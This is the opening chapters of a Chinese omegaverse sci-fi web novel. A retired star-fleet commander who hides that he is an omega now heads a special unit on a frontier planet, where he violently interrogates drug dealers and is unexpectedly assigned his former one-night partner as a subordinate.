《不要试图做掉你的Alpha》 1、第1章 退役 【卷一.重逢之时】 第1章退役 星历40纪元，联邦和德瓦帝国的战争趋于白热化。 闻铮是星舰军队最年轻的上将，率领第三军团在交战中大胜德瓦人五次，因其锐不可挡的锋芒被誉为“第三军团之刃”。 卡斯洛克之战中，他指挥联邦最强战舰“悬空号”将德瓦人打退到德瓦星系之内，再不敢越线侵犯联邦领空一步。 联邦主星系直播的授勋仪式上，前途无量的alpha在无限荣光的致辞环节只说了十个字。 “——闻铮自此退役，立即生效。” 台下一片哗然，直播在三秒之后被军方立刻切断，联邦群众面对着一片漆黑的光屏目瞪口呆。 此后三年，“第三军团之刃”就此消失匿迹，再不允许被提及。 …… 三年后，洛河星系7号行星 洛河是联邦星系中最偏远的一角，落后了主星系至少五十年，甚至需要五次空间迁跃才能从首都星到达这里。 联邦主星系对其的扶持也越来越敷衍，更像一个不得不完成的任务。其中，7号星又因曾被德瓦帝国殖民过，更是充满了混乱和犯罪，这里的大部分星民并不关心星际舰队，联邦主星系的繁荣和发达也与他们无关。 夜幕笼罩了这颗仅有四分之一日照时间的星球，在4个城区内，东城区是旧城区，每栋房子基本都长一个样子，破破烂烂，杂草重生。 在枯树与杂草的阴影里，有两个黑影飞快地矮身蹿过去，绕到了一栋房子的后门。 还有另外两个身影顺着院子摸到前门，黑色的衣领蒙住了口鼻，他们互相对了个眼神，其中一个金发男人鼓捣了一下密码锁，三秒后咔哒一声，门被打开了。 另一个寸头男人对他竖了下大拇指，两人同时端起相位枪潜入房子。 卧室里空无一人，而隐隐约约的音乐伴随着水声从另一扇门内传来。 充满强烈鼓点的节奏在浴室内环绕，一个脖子上有刺青的高大男人正在哼着歌脱衣服准备洗澡。 在依稀听见了“吱呀——”的声音之后，他警觉地皱起眉头，还没等转过身去，后脑勺就感到了一丝金属带来的凉意。 与此同时，一个声音在他耳边响起：“暗影组，你敢动一下，我就把你脑浆打出来。” 话音未落，房子里出现异响，显然有另一个人正慌不择路地朝后门跑去。 金发男人低声道：“瑜淞，目标向你接近。” 他的隐形耳麦里传来了一个冷静的声音：“收到。” 不过几十秒的时间，那个声音再次响起：“目标已被制服。” 五分钟后，两个人抓着另一个光头男人上楼，把他扔进了浴室和他的同伙一起蹲着。 金发男人扯下了衣领，他蹲在两个人面前把玩着枪，很有些玩世不恭地笑着：“谁先说？” 两个男人只是瞪着他，一言不发。 后面上楼的是一位面容清秀的女性，额头上有一对小小的鹿角。 她刚才已经在房间里搜了一圈，手里拿着一盒针剂，她晃了晃手里的盒子：“看我找到了什么。” 刺青男朝她啐了一口：“哈，艾尼默人，贱种！” 女人神色一凛，还没等她说什么，门外的楼梯就传来了嘎吱嘎吱的声音——有其他人正在上来。 “半个月以来，东1区到东3区街头出现了大量混杂着不明成分的非法致幻剂，八个人因为这批货死了。” 平静到有些冰冷的沙哑声音从门外响起，刺青男和光头男闻声看去，一个瘦削修长的男人走了进来，黑色长发在颈后随意扎成一束，他的皮肤白到在黑夜里甚至有些刺眼。 危险！ 两个人脑海里同时闪过这个念头，甚至皮肤表面都爬上了一层鸡皮疙瘩。 黑发男人宛如一柄开了刃的利剑，薄而不弱，骨相坚韧，锐气逼人。而相比起那张漂亮的脸，他身上那种冰冷和血腥之气更让人战栗。 “你他妈的又是谁？！” 刺青男色厉内荏地大叫，然而来人根本没有理他，只是自顾自地往下说：“我查了一周，查到这背后有德瓦人的影子，再查下去，线索就查到了你们两个身上。” 他上下瞟着这两个渣滓，很是有几分讥讽：“很明显，只凭你们两个蠢货撑不起来这么大的生意。所以，你们背后的人是谁？” 刺青男狠戾地瞪着他，吐出一个字：“滚！” 闻铮瞥他一眼，从黑色大衣内怀中掏出一副黑色手套，又看了了一眼金发男人：“凯利斯。” 凯利斯显然很明白他要做什么，回身把浴室窗户的窗帘拉得严严实实，房间里又暗了一个度。 闻铮慢条斯理地把手套戴上，拧开洗手池的水龙头，水声哗啦哗啦地把洗手池慢慢灌满。 一直没怎么说话的光头男人看着他的一系列动作，瞪大了眼睛：“你、你要干什么——？！” 闻铮看都没看他一眼，戴着黑色手套的右手蓦地出手抓住了刺青男的后脖颈，把他拖到了洗手池旁边。 刺青男大叫着挣扎，心中惊骇万分！即使自己的双手被拷着，但这个、这个黑发黑眼的削瘦男人怎么会有这么大力气？！那只右手像机械手一样让他根本无法反抗！ 闻铮神色未变，右手从男人的后脖颈按到后脑勺，硬生生将他的头按在了水池中！ 男人四肢挣扎，却丝毫撼动不了那只手！ 光头男大骇：“你他妈——你他妈这是滥用私刑！” 闻铮淡淡道：“去告我。” 光头男噎住，他转而看向房间里的其他人，显然是已经慌不择路：“你们、你们就这么看着他——？！” 房间里其他四个人分别看向东西南北四个角，根本看都不看他。 闻铮感受到手里的挣扎力度逐渐变小，放松力道把他的头从水里抬起来，音调没有丝毫起伏：“暗影组有独立权，不受到警部与军部规章制度的桎梏。你们现在已经在我手里了，如果我拿不到我要的答案，我就会不开心。” “如果我不开心，我就不知道会做出什么事情来。” 刺青男因为窒息而神志涣散，光头男却清清楚楚地看到这个黑发男人从盒子里拿出其中一根针剂，抵在了他同伴的小臂上。 他又惊又怒：“你在做什么——？！” 闻铮弯腰凑到正在猛烈咳嗽，并抓紧时机贪婪呼吸空气的刺青男耳边：“我再问最后一次，你们背后的人是谁？否则，我就让你也试一试这东西的滋味。” 刺青男还没缓过来，就感到头皮又是一疼，小臂处也有被针扎到的刺痛感，让他惊骇至极，立马大叫着给出了一个名字！ 只是他没想到，他都已经配合了，为什么自己的头立刻又被按进了水里！ 在马上窒息之前，他如蒙大赦地又被拉出了水面，重新得以呼吸。 他一边咳得昏天暗地，一边听到黑发男人在他耳边冷冷道：“刚刚是为了那八个死者，这次是因为你胆敢当着我的面，侮辱我的人。” 闻铮松手，把他一滩烂泥一样的身体和那只针管扔到一边，对另外两个人抬了抬下巴：“戴维尔，你和瑜淞把他们带回去再审一下，我还有事要去总部一趟，明天早上我们在办公室讨论下一步计划。” 戴维尔和林瑜淞领命，前者还用胳膊肘捣了捣江悦，她正崇拜地看着刚刚为自己出气的闻铮，眼睛亮晶晶。 凯利斯凑到他身边低声问：“总部？现在？” 闻铮看了下手腕上的通讯信息：“利切尔要见我，说给我招了一个新人。” 凯利斯瞪大眼睛：“啊？” 闻铮往外走，随意地把手套丢在了街边的垃圾桶里，冷笑：“有趣吧？”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 2、第2章 认识谈不上，睡倒是睡过 “检测到6768编号生物序列，经确认为暗影组指挥官闻。查询到您有一个和利切尔副局长的预约，请确认是否前往。” 总部大堂的调度前台并没有人，只有一个到处乱窜的假眼睛。闻铮走到它的感知范围内之后，它就飘到半空中，机械死板地确认预约记录。 人工智能调度眼的声音把闻铮的注意力拉了回来，他刚刚在注视大堂的一颗头颅。 是的，头颅。 在一楼大堂中，有一颗悬浮在半空中的巨大钢铁头颅。这颗无性别的头颅双眼紧闭，双耳关合，而奇妙的是，无论你站在哪个角度，你都能看到它的正脸。 ——这是联邦的象征，伫立在所有联邦星球的政府机构总部大堂。 他注视了一会儿这颗头颅，才朝着人工智能调度眼确认预约，下一秒，前台就这样在他面前开启了。 在踏进传送梯之前，他顺手抄过了前台桌子上提供给来客的咖啡。 …… “调度前台的咖啡真的很难喝。” 在闻铮进门之后，利切尔副局长含笑打趣他，手里还拿着一个巨大的马克杯：“要不要试试我办公室的？从莫兰星系运过来的咖啡豆，前中后调的香气都很明显。” 闻铮把手里的咖啡一饮而尽，纸杯随手丢进垃圾桶：“不必了，我品鉴不来。” 利切尔副局长六十岁多一点，头发却只是微微发白，精神矍铄得像三十几岁。 他示意闻铮在他对面坐下：“我就不兜圈子了，我给你招了一个新人。” 闻铮：“谢谢，我不要。” 利切尔副局长把悬浮屏推给他：“你甚至都没有看他的资料。” “我不需要看，”闻铮在他对面坐下来，淡淡道，“我的人都是我亲手从街头、军队甚至监狱里挑出来的，这是我们三年前的交易条件之一，所以我绝不可能接受一个废物关系户。” 他顿了下，直截了当地询问：“你要在我的手底下塞人，是否在暗示你已经不再信任我？” 利切尔副局长被他堵的一噎，脸色也不好看，他重重地把马克杯放在桌子上：“我不再信任你？这个星球上只有两个人知道你的真实身份，除了你当年的大副凯利斯就只有我！我冒了这么大的风险说服了上面把你留下来，给了你偌大的自由度，你现在怀疑我对你的信任？” 闻铮用食指点了点悬浮屏，言外之意——那这是什么意思？ 利切尔副局长轻轻叹了口气，放低了声音：“从首都星来的，上面送进来的人。系长亲自把他的简历放到我的桌子上，点名道姓要进你的手底下。” 闻铮皱眉。 在那场不再允许被提起的授勋仪式后，他回到了这里，将几近解散的暗影组重新组建起来。 暗影组，其设立之初是为了清剿7号星上德瓦人的势力。这里曾经被德瓦人殖民过很长一段时间，哪怕最终在联邦的帮助下将德瓦人打了出去，但仍然有潜在的德瓦势力暗藏其中。 为了能更好地驱逐德瓦势力，暗影组曾经直属于联邦星际舰队，独立于地方警部和军部之外。 但世易时移，随着第二次星际战争的平息，暗影组也几近解散，直到闻铮回到这里，和利切尔副局长做了一个交易 只要能保留独立权，他愿意将暗影组的架构暂时并入警部。 他低调行事，把所有的功劳和荣誉都双手奉给利切尔副局长，拒绝一切抛头露面的活动，实在推不开的也让手底下的人替他出席。 因此就连很多内部的人，都只知道暗影组的新任老大是一个叫“闻”的新指挥官，但从没真的见过他。 在这种情况下，怎么可能会有人从首都星进行五次空间迁跃来到7号行星，还点名到他手下？ 难道……首都星已经有人发现了他的去向？ 闻铮神色冷冽下来，利切尔副局长知道他在想什么，他也知道这其中隐藏的风险，但站在他的立场上，这件事他属实是爱莫能助。 闻铮在心里进行着利害盘算，如果最差的情况，首都星来的这个人真的知道他的身份，他就不得不用一些其他的、上不得台面的方式让他闭嘴了—— 他一边想着，一边点亮了悬浮屏，映入眼帘的是一张银发蓝眼的面容，年轻俊朗又眼熟。 “我知道你的难处，但这件事现在还轮不到你和我置喙。我的建议是你先收下他，后面我们再看怎么——” 利切尔副局长说到一半的话被闻铮猛地扣掉悬浮屏的动作打断，这是闻铮回到7号星后第一次在他面前失态，脸色难看到好像下一秒就要掏出相位枪进行无差别扫射。 利切尔副局长惊疑：“——你怎么了？” 闻铮一字一顿：“……我不收。” 利切尔副局长胡子都要被气的翘起来：“我刚才的话白说了？这件事轮不到我们做主！你——” 他好像意识到了什么，毕竟方才闻铮态度已经有所松动，结果在看到这个人的资料后却突然变得如此异样。利切尔能坐在这个位置二十多年，当然是个聪明人。 “你——认识他？” 闻铮咬着牙，握在桌下的右手用力到青筋暴起。 分化后的这十六年，他只失控过两次。 第一次失控，他失去了腺体。 第二次失控，他……实在不想再回忆。 一年前，在追查德瓦人残余势力时，他无意中被非法致幻剂刺激，信息素和激素都极度失控，如果不想因为信息素紊乱致死，他只能选择唯一的一条路——和a级以上的alpha上｜床，以此来调节身体激素水平。 闻铮在16岁的时候分化成了omega，在此之后他一直伪装成alpha，在30岁时他便获得了常人穷极一生也无法获得的成就。 而在这些荣耀和勋章背后，也是任何人都难以想象的血和泪。 他不恐惧死亡，但在他还没得到想要的答案之前，他不能死。 而这个资料的对象，就是一年前被他在另一个星系选中的一夜情对象。 他们不应该再有交集。 他们决不能再有交集！ 闻铮眼底划过一丝冷光。 否则，他就得采取一些手段，让事情重新回到正轨上了。 想到这点，闻铮刚刚波动的气势又平息下去，又回到了那个一贯冷静的闻指挥官。 利切尔副局长自然也发现了，他和闻铮早早去世的父母是老朋友，把闻铮也当成自己的半个孩子，又追问了一遍：“你真的认识他？——不，你别想扯谎糊弄我，我还不了解你？” “……行吧，认识谈不上，”闻铮端直的后背靠上了椅背，似笑非笑地扔下了一枚炸弹：“……睡倒是睡过一次。” 利切尔副局长：“……” 利切尔副局长：“？？？” 等一下，刚刚是他的马克杯在说话吗？ 利切尔副局长瞟向悬浮屏，他没记错吧？这个空降的祖宗是alpha没错啊？但你——你不也是alpha吗？！ ……闻铮条件出类拔萃到这种程度，想要什么样的beta和omega没有？但不管是当年的“第三军团之刃”还是现在的闻指挥官，至今没听说身边有过任何b和o的出现，原来是因为他搞aa恋？！ 某些时候很有些恶趣味的闻铮看着头晕眼花的利切尔副局长，心里稍微畅快了点。 既然已经是无法改变的事情，纠结没有任何的意义，如何解决问题才是最重要的。 他站起来：“走了，这个麻烦我会尽快搞定。” 临走之前，他看了一眼利切尔副局长的悬浮屏，最后扫了一眼名字，面无表情地把简历扔到了自己的通讯里。 ——裴简珩。 ——三个月内，我一定会把你解决掉，这是你自找的。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 3、第3章 很荣幸能见到您 闻铮租了南3区的一个公寓，47楼，一百多个平方，虽然不大但视野很好，距离办公室车程也只有10分钟。他三年前本来是打算干脆买下来的，后面又想到在事情解决前他能在这里住多久也不一定，还是放弃了。 瞳孔识别后，门锁打开，他一边换鞋一边说：“γ，倒杯温水。” 公寓里一片寂静，过了十秒钟，才有一个机械男声响起：“好的，这就为您倒一杯温水。” 等闻铮换完鞋到厨房，他看到了一杯冒着热气的开水。 闻铮：“……” 有的时候他其实还挺怀念科技发达的首都星的，更别提什么都应用最尖端技术的星舰军队了。 在这里甚至连家居ai的发展都还处于智能和智障之间。 闻铮好笑地摇了摇头，决定改变计划先冲个澡再喝这杯开水。 热气弥漫在浴室内，给透明玻璃镀上了一层朦胧的雾气。水流冲过闻铮削瘦的脊背和窄窄的腰肢，蜿蜒过横跨在心口和左人鱼线的一条伤疤，这样大大小小的伤痕，在闻铮身上有十几条。 他踏出淋浴间，在镜子前擦了一把脸。他在镜子里看到自己后颈的肤色边缘微微翘起，伸手过去摸索了一下，熟门熟路地把一条肤色的腺体伪装贴撕了下来。 在伪装贴之下，一块圆形的、已经变成紫黑色的疤痕替代了原本应该微微隆起的腺体。 闻铮看都没看一眼，随手就把腺体伪装贴扔到了垃圾桶里。 他是疤痕敏感体质，后颈处因为贴了一天的伪装贴而微微有些发红。除此之外，在不被用力按压的前提下，这里已经不会再带给闻铮任何感觉了，即使16岁那年被挖去腺体的痛苦偶尔仍然会出现在他的梦中。 但他从没有一刻后悔过。 这个世界的规则是很公平的，他想要得到某些东西，必定要牺牲其他更多。 闻铮穿上睡袍，去厨房把那杯已经晾凉的水喝了，在落地窗旁点开了裴简珩的简略资料，目光落在了悬浮屏的一寸照上。 这个alpha当时能被他在酒吧里选中，各项条件都很不错，不管是外形身材还是言行谈吐，都足以让人印象深刻，甚至还有一丝不知从何而来的、莫名的熟悉感。 ……坦白说，床上的体验也很好，尤其是对于第一次的闻铮来讲。虽然这个alpha也略显青涩，但他们身体的契合度很高，如果他的腺体还在，他们的信息素必定会极为匹配。 只是再好的体验在他秘密面前也不值一提。 他在中途被做晕过去，凌晨惊醒后强撑着离开。 这只是一次不可能被复制的意外，宇宙无边无际，人类所探索的甚至不足万分之一。 而在那个闻铮精心选择的中转枢纽星球里，人流量大的出奇，若非有心，很多人这一生再也不会相遇。 这也是闻铮的目的，他们两个不需要、也不能再重逢。 可现在…… 他把悬浮屏关上，在心里做着盘算。 那次他一直戴着面具，哪怕是上｜床的时候。因此很大可能裴简珩并不知道他的新上司就是曾经的一夜情对象，在这种前提下，闻铮占据着信息不对称带来的相对优势。 而如果他真的认出来了…… 闻铮在玻璃窗的反射中看到了自己毫无表情的脸，他很瘦，皮肤很薄，皮肉紧紧贴着骨头，几乎一点多余的脂肪都没有。这种尖锐让他看上去就像是一把正泛着寒光的冷兵器，此刻正微微出鞘，等着见血。 …… 第二天一早，闻铮从公寓走去了东3区的分部，虽然暗影组的权限范围是整个7号星球，但他们的办公室设立在东3区，因为这里去任何其他区域都是最快的。 分部一楼是东3区警部接待台，一个红发仿生人正站在接待台后面，他的右脸是泛着银光的机械装备，左脸是正常人类的仿真皮肤。 闻铮对他点了点头：“罗斯警长。” 罗斯将那双银色的瞳孔对准了他，声音没有任何语调上的波动：“早上好，闻指挥官。” 他的声音是二重的，一重男声和一重女声奇异地混合在了一起，就像他的脸一样，既割裂又有着微妙的和谐。 联邦规定，只要是联邦领土内的警部和军部相关机构的调度都必须是仿生人，这样可以最大限度达到高效率和低容错。 简单打过招呼后，闻铮走上了楼梯，暗影组和他的独立办公室都在二楼。 上楼以后，他在暗影组的茶水间看到了一个金色的脑袋，金色的脑袋也看到了他，十秒后，凯利斯从茶水间探出头来：“你脸色这么差，昨天晚上又没睡着？” 闻铮“嗯”了一声，按了按太阳穴：“能帮我倒杯咖啡吗？” 这么多年来，凯利斯和他出生入死，足够了解他，这种小事早就给他准备好了。 他把咖啡杯递给闻铮，低声问：“你拒绝利切尔副局长了？” 闻铮道：“没有。” 凯利斯一怔：“——啊？你怎么可能接受一个空降的人进来？而且看这个架势，他应该还蛮有来头的。” “从首都星来的人，不过不用担心，他不会在这里很久的。”闻铮语气平静，“三个月内，我会让他主动消失。” 凯利斯呃了一下：“真的是主动消失吗？闻哥，如果是首都星塞过来的人，那背景肯定不小，我觉得你还是别一下子就把人逼死——” “我有分寸。”闻铮也有些无语地看着自己的前大副，“而且什么叫把人逼死……现在没在打仗，他也不是德瓦人，我还能把他杀了吗？” 凯利斯目移：“把人打一顿也不行啊……” 闻铮好笑之余，拍了拍凯利斯的肩膀：“这段时间我会让他先和你搭档，你把他在眼皮子底下看好了，我需要知道他每个可疑的动向，直到我能把他牢牢控制在手里。” 闻铮好像犹豫了一下，还是说了：“你……你再侧面帮我打探一下，他之前是否见过我。” 凯利斯皱眉：“你怀疑他知道你之前的身份？也说不准，毕竟是从首都星来的，也有可能看过那场中断的直播，虽然只播了1分钟——” 闻铮喉头滚动了一下，还是没把他们睡过这件事说出来，利切尔副局长知道不要紧，在自己的团队里还是不要有人知道了，所以只是语焉不详让他打探一下，但不要打草惊蛇。 凯利斯点头应下，闻铮拿着咖啡杯走向了自己的独立办公室，边走边说：“等瑜淞来了你们跟我说一下昨天那两个蠢货的审讯结果。” 五分钟后，暗影组的大门又被推开，凯利斯兴致勃勃地转身过去和自己的搭档打招呼：“早上好啊瑜——” 他声音一顿，疑惑道：“你是？” 刚推门进来的是一个高大修长的俊朗男人，银发蓝眼五官深邃，比在alpha里都算高的凯利斯还高了半个头。并且他一眼扫过去就知道眼前这人浑身上下没有六位数通用星币是绝对下不来的。 不管是外貌气度还是经济实力，显然都不太像会出现在这里的人物——等等，他好像隐隐约约猜到这是谁…… 果不其然，银发男人对他温和地笑了一下：“您好，这里是暗影组吗？楼下的罗斯警长让我来这里找闻指挥官。” 凯利斯心里猜到了他就是空降的关系户，但脸上仍然是笑眯眯，他指了指闻铮那间透明的独立办公室：“指挥官在里面。” 银发男人谢过了他，抬脚就朝办公室走了过去。 凯利斯看着他的背影，摸了摸下巴。 放着首都星的好日子不过，跑到这里找罪受的傻子除了闻铮居然还有第二个人？ ——他到底是干嘛来的？ “笃笃。” 轻轻的敲门声传来，闻铮正在看眼前透明悬浮屏上的情报资料，他以为是凯利斯和林瑜淞，看都没看门那边就说：“进来。” “……闻指挥官。” 低沉磁性的声音在不大的办公室里响起，闻铮皱了一下眉，他对这个声音有印象。 准确地说，是他的身体对这个声音还有残留的印象，哪怕已经过去了一年，哪怕他的腺体残缺不全，他的身体仍然早于他的眼睛先一步认出了这个alpha和他檀木香的信息素。 闻铮朝门口看过去，俊美无俦的年轻银发alpha正站在门口遥遥地看着他，轻声道：“您好，很荣幸能见到您，我是裴简珩。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 4、第4章 明白，长官 闻铮在看到裴简珩的一瞬间就再次确定了，他就是一年前和自己上过床的alpha无疑。 他拿着咖啡杯的右手攥紧了杯子，用力到骨节发白，脸上却没有任何波动，只是对面前的椅子抬了抬下巴：“请坐。” 裴简珩走过来在他面前站定，还没等坐下，闻铮就微微眯起了眼睛：“你参过军。” 眼前这个alpha身形挺拔，双手下意识地交叉放在后腰，脊背挺直，这是标准的联邦军方站姿，刻在每一个战士的基因里，就连闻铮这种有意隐藏军方身份的人，偶尔也会下意识地这么站。 裴简珩刚要坐下，听到这句话又站直了，沉声应道：“是的，长官。” 闻铮伸手示意他坐下，淡淡道：“坐吧，虽然我的头衔是’指挥官’，但这里是暗影组，不是军部，你不需要叫我长官。”顿了下，他又问：“你在哪里服役？” 裴简珩蓝色的眼睛一眨不眨地注视着他：“联邦前锋突击卫，半月前退役。” 闻铮的心稍微放下了一些，联邦前锋突击卫虽然也隶属星际舰队的编制，但常年在外征战，和星际舰队基本没有任何交集。 在他违背星舰军部的指令退役消失以后，闻铮这个名字和所有的影像资料都在那一日后被永久封存，再不允许在任何社交平台和公共场所提及。 ——也好，毕竟他身上的两个秘密，omega和“第三军团之刃”，绝对不能被同一个人握在手里。 闻铮把思绪拉回来，他把话说得很直接：“我不知道你为什么要从主星系特意来到这里，但我先把丑话说在前面。” “暗影组有自己的行事方式，那就是我的行事方式。我给你一个月的时间，如果你不能适应或我认为你不能适应，我希望你可以主动离开。” 他那双漆黑如墨的眼睛冷冷看向一个人的时候会给对方带来巨大的压力：“如果你让我出手，事情就会变得很难看，明白了吗？” 闻铮的威压不是来源于信息素的影响，而是来源于他这个人，但很多alpha会受不了这种被压制的感觉而下意识地激发出信息素进行应激和反抗，所以闻铮已经做好了要和眼前这个绝对在a级以上的alpha发生冲突的准备。 而出乎他的意料，裴简珩只是微微低头迎上他的目光，温顺地轻声道：“明白，长官。” 闻铮把已经隐隐攥紧成拳的手松开，说：“先从改掉你的称呼开始，你不需要叫我长官，我不会再说第三次。” 他手背向外挥了挥手：“这几天你先和凯利斯搭档，出去吧。” 在裴简珩打开门的瞬间，闻铮状似无意地问了一句：“你看上去有点眼熟，我们之前见过吗？” 裴简珩身形一顿，转过身看着他，笑了笑：“没有这个荣幸，指挥官。” 闻铮点了点头：“把门从外面关上，谢谢。” 裴简珩走出办公室以后，闻铮轻轻吐了口气。 ——目前事情的发展没有他想的那么糟，看样子裴简珩并没有认出来他，但他也需要让凯利斯再侧面确认才能彻底放心。 他喝完最后一口咖啡，刚把咖啡杯放到桌子上，门又被推开了。闻铮闻声看去，是利切尔副局长。 他指了指门外：“来看上面的关系户？” 利切尔副局长笑：“这是其中一个目的，我看这个裴简珩条件不错，人看上去也不蠢，兴许也真的能成为你团队中的一员呢。” 利切尔副局长在他还小的时候就经常来他家做客，虽然闻铮参军后的十几年他们都没再见过，但某种意义上他也确实算是闻铮在这个世界上仅存的半个家人，所以他也不会客气：“我不谈论没有意义的假设。你的第二个目的是什么？” 利切尔副局长也不纠结，伸手在手腕上的通讯点了几下，把跳出来的悬浮屏推到闻铮面前，上面是一个倒在悬浮车后座的男人，浑身是血，尤其集中在脖颈处和胸口处。 “昨天晚上，西4区的一个巷子里，欧睿被捅死在自己的悬浮车里，腺体被割掉，胸口被捅了五刀。” 闻铮瞥了一眼，拒绝了：“你走错了，暗影组不接和德瓦人无关的案子，右转电梯上五楼找凶杀重案组。” 利切尔副局长意味深长：“他姓欧。” “……” 闻铮皱起眉：“下一任7号星星长候选人欧赫的欧？” 利切尔副局长：“他儿子。” 闻铮不为所动：“那也不接，你知道我不卷进任何政治动向里。” “晚了。”利切尔副局长同情地拍拍他的肩，“欧赫点名要暗影组办这个案子，你不接的话他就要砍你们预算。” 闻铮：“……” 他这次正眼看了看悬浮屏上死得很惨的欧睿，意味深长：“你很清楚，这种死法，真相一定不太好看。媒体如果查出什么东西出来，我不会替他打掩护。” “无所谓。”利切尔副局长大笑，“反正大选的票我也没投给他。” 五分钟后，利切尔副局长走出闻铮的独立办公室，和外面的暗影组成员们打了个招呼，目光在裴简珩脸上多停留了一会儿，什么也没说就走了。 哦~ 原来这个就是闻铮睡过的alpha啊。 怪不得能被看上，这身材，这长相，一看就是顶尖的。 利切尔副局长又悄悄地瞥了一眼闻铮，还是很难相信他搞aa恋，但换个角度想，他也确实很难想象闻铮对omega照顾有加的样子。 这日子可有意思了。 人皆有八卦之心，哪怕是已经当上副局长的人也一样。 利切尔副局长背着手溜溜达达地走了，暗自打算以后有事没事就来暗影组溜达几圈。 十分钟后，闻铮也从办公室出来，他在通讯上操作了几下，他们办公室那块大的悬浮屏上就出现了欧睿这个案子的一些基本信息。 “欧睿，alpha，23岁，胸口被捅了五刀，腺体被割掉。”闻铮阴沉着脸，显然对被欧赫威胁这件事不太高兴，“昨晚死在西4区第一大道。” 凯利斯还在等他继续说，发现没有后面了：“……没了？这种案子我们不接的吧？” “欧赫的儿子。”闻铮冷冷道，“不想下个月办公室连速溶咖啡都没有，就老老实实地接了这个案子去办。” 凯利斯：“……” 他摸了摸鼻子，小声和身旁的裴简珩解释：“那个，我们平时不是这样的。” 裴简珩感到有点好笑。 闻铮的目光扫过手底下的四个信任的下属，和一个二十分钟之前刚踏进门的不定时炸弹，下达了命令：“凯利斯，你带着裴简珩办欧睿这个案子。剩下你们三个，和我一起把昨天非法致幻剂的事跟进完。” 说完，他对林瑜淞示意了一下：“昨天那两个人说什么了？” 突然失去搭档的林瑜淞还在发愣，听到闻铮问他话立刻回神：“那两个人只是小喽啰，只负责分销不负责制作和运输，所以他们也不清楚这一批致幻剂里到底添加了什么成分，估计要到他们再上一级才能知道。” “昨天他们给出的那个名字我查了一下。”江悦接过话头，“我在犯罪数据库里找了找，是这个人。” 她把照片拉出来：“但丁，腾蛇帮派的老大。” 闻铮看向照片上的男人，他的脖颈处覆盖着一层鳞片，和江悦一样，是艾尼默人，看起来是蛇属。 一百三十年前，洛河星系曾经被德瓦人占据，7号星球和8号星球沦为最严重的德瓦殖民星。艾尼默人曾经是这两个星球的原住民，由动物进化而来，虽然已经是类人形体，但仍保留了部分动物的特征和习性。 而在德瓦帝国进攻后，他们沦为了被德瓦人奴役的种族。 德瓦人认为他们是野蛮的低等物种，对他们的奴役程度令人发指，而哪怕在德瓦人失败以后，联邦夺回了洛河星系，艾尼默人也一直因其未完全进化而被相当一部分的人类歧视。 由于初期的艾尼默人很难受到高等的教育，他们更多从事的是相对基层的工作，也因此犯罪率比起其他种族更高。 闻铮点了剩下三个人：“你们三个跟我走。” 凯利斯在旁边举手：“那我——” 闻铮似笑非笑地看着他和裴简珩：“欧睿的案子，两天内结掉再加入我们。” 凯利斯：“……” 裴简珩和凯利斯下楼去现场，他对凯利斯抱歉地笑笑：“看起来是我拖累你了。” 他很清楚，他的新上司并不喜欢他也并不信任他，自然不会让他碰核心的项目，所以把一个空降的关系户分配去做另一个关系户的案子倒也是合情合理。 凯利斯心里一动，这个裴简珩看起来并不是个拎不清的，态度不卑不亢，虽然很年轻，但察言观色的能力还不错。 他拍了拍裴简珩的肩膀：“别想太多，闻哥的性格就是这样的，时间长了你就习惯了，我们先把这个简单的案子顺利解决就好。” ——如果你还有机会在这儿待时间长的话。 “凯利斯上校。” 二重音响起，他们转过身去，是罗斯警长。 罗斯警长示意他们过来调度前台，声音机械无波：“我在系统里看到欧睿的凶杀案负责人写了你和裴中校的名字。” 凯利斯眉心微动，一边应着一边心里惊诧。 这个空降的年轻alpha有军衔他不意外，一眼就能看出来他曾经参过军。 但中校？ 他才多大，有26岁吗？ 要知道凯利斯当年可是在“悬空号”上做了三年的大副，跟着闻铮出生入死，星际舰队那帮老不死的才愿意给他一个上校的军衔！ 这人到底什么来头啊……魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 5、第5章 跪下 “鉴证组对欧睿的生物信息鉴定报告和信息素分解因子报告出来了。”罗斯警长将报告发到他们的通讯上，“我在犯罪系统里找了一下，他有过一次被抹去的犯罪记录，联邦一级故意伤害罪。” 凯利斯皱眉：“被抹去了还在系统里能找到？” “问题确认，”罗斯警长的语言系统和语调还处于有些刻板的机械仿生人反应，“但有人在系统里恢复了他的犯罪记录，在今早凌晨三点十六分。” 裴简珩问道：“能看到是谁恢复的吗？” 罗斯警长道：“问题否认。” 裴简珩笑了一下，他的语气听起来很有些意味深长：“我觉得指挥官后面会更不高兴。” 凯利斯挑眉：“哦？为什么这么说？” “虽然我是第一天入职这里，但这里的规则和首都星应该不会有太大的偏差。”裴简珩指了指手腕上的通讯终端，“案底的抹去和恢复都只能有警方或军方的人才有权限操作。欧睿的记录被抹去很好理解，他父亲既然是下一任星长候选人，自然有自己的人脉可以封存记录。” “但现在记录被重启了，如果只是一个简单的杀人案，不会需要有人在系统里操作这一步。”他笑了一下，意有所指，“欧睿的死最有可能的情况就是政治斗争的牺牲品，我觉得指挥官不会喜欢这个答案。” 凯利斯没有对他说的内容有任何评判，只是意味深长地反问了一句：“你觉得他不会喜欢这个答案……是基于你对他的了解吗？” 裴简珩笑容不减，甚至更加温和真挚：“怎么会，现在距离我入职只过去了半个小时，’了解’又从何谈起呢？” 凯利斯没有接话茬，只是问：“下一步你想做什么？去现场勘察还是家属问询？” 这是裴简珩暗影组生涯的第一天，也是他的第一个案子，他只能凭借着直觉来：“如果是我来选，我会选择现场勘察。” 很明显的掩盖犯罪事实和政治意味浓厚的行为，就算现在去找欧赫了解情况，又能得到多少真话？从案发现场和尸体上了解到证据越多，他们手里的牌也许会更多。 凯利斯没有发表意见，只是把手里的车钥匙丢给他让他主导调查：“你来开车。” 凝视着银发alpha高大的背影，凯利斯的直觉隐隐告诉他，这个人……也许并不是个简简单单的草包关系户，闻哥想让他自己主动离开也好，拿着什么东西去要挟他也好，看样子都不会很顺利。 …… 银色的悬浮车在高空路段疾驰，闻铮依然把控着方向盘，副驾驶的江悦在看面前的透明通讯屏幕，以了解但丁的所有信息。 闻铮从后视镜里看了一眼坐在后面的林瑜淞和戴维尔，修长精瘦的手指轻敲方向盘：“后备箱有防护衣，你们穿上。但丁如果真的是德瓦势力的一部分，他不会犹豫杀掉任何人。” 戴维尔人高马大，手长腿长，一把从后备箱捞出了防护衣，皱了一下眉：“闻哥，只有三件。” 闻铮漫不经心：“你们三个穿。” “闻哥——” 